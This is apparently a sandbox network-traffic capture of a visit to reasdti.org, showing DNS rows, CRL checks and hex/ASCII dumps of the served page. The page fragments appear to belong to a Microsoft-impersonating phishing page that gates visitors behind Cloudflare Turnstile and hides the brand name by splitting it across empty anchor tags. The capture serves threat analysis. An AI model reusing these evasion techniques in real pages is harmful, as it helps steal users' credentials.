Mar 21, 2025 19:13:14.299591064 CET	60415	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:14.401561975 CET	53	62252	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:14.401577950 CET	53	60415	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:16.336112022 CET	60369	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:16.336639881 CET	52632	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:16.438177109 CET	53	52632	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:16.438208103 CET	53	60369	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:17.396526098 CET	64972	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:17.396760941 CET	56772	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:17.500349045 CET	53	64972	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:17.502420902 CET	53	56772	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:18.718677998 CET	62092	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:18.718893051 CET	62357	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:18.821701050 CET	53	62357	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:18.822165012 CET	53	62092	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:19.089010000 CET	56642	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:19.089230061 CET	52243	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:19.205322027 CET	53	52243	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:19.257065058 CET	53	56642	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:29.234388113 CET	53	49807	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:31.634578943 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:32.045006037 CET	58733	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:32.045152903 CET	56914	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:13:32.147787094 CET	53	56914	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:32.148380041 CET	53	58733	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:32.397808075 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:33.162770987 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:13:39.383245945 CET	53	63236	1.1.1.1	192.168.2.24
Mar 21, 2025 19:13:48.992360115 CET	53	61375	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:09.762360096 CET	53	58517	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:11.590079069 CET	53	50190	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:12.709626913 CET	53	51339	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:13.572561026 CET	51737	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:14:13.572726011 CET	49555	53	192.168.2.24	1.1.1.1
Mar 21, 2025 19:14:13.669872999 CET	53	49555	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:13.669933081 CET	53	51737	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:42.410130978 CET	53	58442	1.1.1.1	192.168.2.24
Mar 21, 2025 19:14:47.420088053 CET	53	58522	1.1.1.1	192.168.2.24
Mar 21, 2025 19:15:12.786679983 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:15:13.544733047 CET	137	137	192.168.2.24	192.168.2.255
Mar 21, 2025 19:15:14.295766115 CET	137	137	192.168.2.24	192.168.2.255

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2025 19:13:47.827666044 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 21, 2025 19:13:47.925961018 CET	222	IN	HTTP/1.1 304 Not Modified Date: Fri, 21 Mar 2025 18:09:48 GMT Expires: Fri, 21 Mar 2025 18:59:48 GMT Age: 239 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 21, 2025 19:13:47.936511040 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 21, 2025 19:13:48.033771992 CET	222	IN	HTTP/1.1 304 Not Modified Date: Fri, 21 Mar 2025 18:00:24 GMT Expires: Fri, 21 Mar 2025 18:50:24 GMT Age: 803 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 21, 2025 19:13:48.042327881 CET	200	OUT	GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 21, 2025 19:13:48.139497042 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 21 Mar 2025 17:24:02 GMT Expires: Fri, 21 Mar 2025 18:14:02 GMT Age: 2986 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 21, 2025 19:13:48.436882973 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 21 Mar 2025 17:24:02 GMT Expires: Fri, 21 Mar 2025 18:14:02 GMT Age: 2986 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:12 UTC	647	OUT	GET / HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:14 UTC	486	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:13 GMT Server: Apache/2.4.62 (Ubuntu) Set-Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 4007 Connection: close Content-Type: text/html; charset=UTF-8
2025-03-21 18:13:14 UTC	4007	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 69 73 70 6c 61 79 69 6e 67 20 61 20 70 61 67 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2e 64 65 6c 69 76 65 72 65 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Displaying a page...</title> <style> body.delivered { display: none;

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:14 UTC	751	OUT	GET / HTTP/1.1 Host: reasdti.org Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv
2025-03-21 18:13:16 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:15 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 18:13:16 UTC	7758	IN	Data Raw: 33 63 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 23 72 65 67 69 6f 6e 28 63 6f 6c 6c 61 70 73 65 64 29 2d 2d 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b Data Ascii: 3c55<!DOCTYPE html><html lang="en-US"> ... #region(collapsed)--> <head> <style> * { box-sizing: border-box; margin: 0; padding: 0; } html {
2025-03-21 18:13:16 UTC	7693	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 65 62 61 75 74 68 6e 2d 64 69 76 69 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 72 65 6d 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: flex-wrap: wrap; justify-content: center; } .webauthn-divider { margin: 1rem 0; width: 100%; text-align: center;
2025-03-21 18:13:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:13:16 UTC	8192	IN	Data Raw: 33 36 36 36 0d 0a 70 61 67 65 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 65 72 69 66 79 43 61 6c 6c 62 61 63 6b 5f 43 46 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 20 26 26 20 72 65 73 70 6f 6e 73 65 2e 6c 65 6e 67 74 68 20 3e 20 31 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 72 65 61 74 65 20 66 6f 72 6d 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 74 6f 20 73 75 62 6d 69 74 20 72 65 73 70 6f 6e 73 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 3666page/images/favicon.ico" /> <script> var verifyCallback_CF = function (response) { if (response && response.length > 10) { // Create form dynamically to submit response
2025-03-21 18:13:16 UTC	5740	IN	Data Raw: 6b 52 41 4d 6f 75 64 68 56 4c 48 44 64 6d 63 59 79 4c 4e 73 78 67 6d 47 71 78 53 7a 62 34 4e 4a 77 59 53 2f 31 61 50 4a 4d 63 7a 58 63 55 49 61 52 56 66 55 6d 6c 45 49 70 32 4f 4e 72 43 55 37 76 78 6f 6b 4d 6f 48 34 7a 67 37 50 6d 4c 71 33 52 5a 52 51 79 44 5a 71 4b 77 79 4e 58 7a 6d 4b 4f 32 72 4b 35 7a 6c 36 54 5a 49 38 35 61 78 35 76 31 7a 78 79 37 68 68 46 68 47 7a 31 63 7a 6a 78 73 51 6e 42 2f 37 31 44 31 70 77 47 7a 65 41 76 47 35 54 67 71 54 4e 5a 4c 70 4e 7a 7a 57 53 54 68 4e 74 70 46 6d 4e 67 6f 68 61 2b 78 6d 68 48 65 46 4d 77 4d 56 5a 51 73 52 4e 4e 66 75 36 62 63 58 33 71 67 34 62 4e 49 74 6f 73 6c 55 6b 73 76 6d 47 52 44 34 56 63 30 62 54 6f 2b 35 59 6a 61 76 39 74 70 41 79 50 4c 59 6c 32 30 2b 5a 44 2b 66 79 56 43 6a 71 53 4d 35 48 4b 76 4d Data Ascii: kRAMoudhVLHDdmcYyLNsxgmGqxSzb4NJwYS/1aPJMczXcUIaRVfUmlEIp2ONrCU7vxokMoH4zg7PmLq3RZRQyDZqKwyNXzmKO2rK5zl6TZI85ax5v1zxy7hhFhGz1czjxsQnB/71D1pwGzeAvG5TgqTNZLpNzzWSThNtpFmNgoha+xmhHeFMwMVZQsRNNfu6bcX3qg4bNItoslUksvmGRD4Vc0bTo+5Yjav9tpAyPLYl20+ZD+fyVCjqSM5HKvM
2025-03-21 18:13:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:13:16 UTC	5611	IN	Data Raw: 31 35 64 65 0d 0a 36 35 39 37 64 31 33 32 20 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 77 3c 61 20 74 61 72 67 65 74 3d 22 33 36 33 66 32 64 64 37 22 20 63 6c 61 73 73 3d 22 64 61 34 32 63 61 37 65 22 3e 3c 2f 61 3e 77 77 2e 6d 3c 61 20 74 61 72 67 65 74 3d 22 33 61 62 31 39 31 33 34 22 20 63 6c 61 73 73 3d 22 37 65 34 38 37 61 38 32 22 3e 3c 2f 61 3e 69 63 3c 61 20 74 61 72 67 65 74 3d 22 62 64 33 62 35 61 63 32 22 20 63 6c 61 73 73 3d 22 34 63 64 61 33 32 61 32 22 3e 3c 2f 61 3e 72 6f 73 3c 61 20 74 61 72 67 65 74 3d 22 64 36 32 30 33 65 33 37 22 20 63 6c 61 73 73 3d 22 35 64 62 33 61 31 38 61 22 3e 3c 2f 61 3e 6f 66 3c 61 20 74 61 72 67 65 74 3d 22 30 35 39 63 32 63 36 37 22 20 63 6c 61 73 73 3d 22 31 61 64 39 62 63 31 65 22 3e 3c 2f Data Ascii: 15de6597d132 zone-name-title h1">w<a target="363f2dd7" class="da42ca7e"></a>ww.m<a target="3ab19134" class="7e487a82"></a>ic<a target="bd3b5ac2" class="4cda32a2"></a>ros<a target="d6203e37" class="5db3a18a"></a>of<a target="059c2c67" class="1ad9bc1e"></

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:16 UTC	611	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:16 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 21 Mar 2025 18:13:16 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 923f6c1c38114277-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:17 UTC	595	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:17 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:17 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 923f6c1f297b440e-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:17 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-21 18:13:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
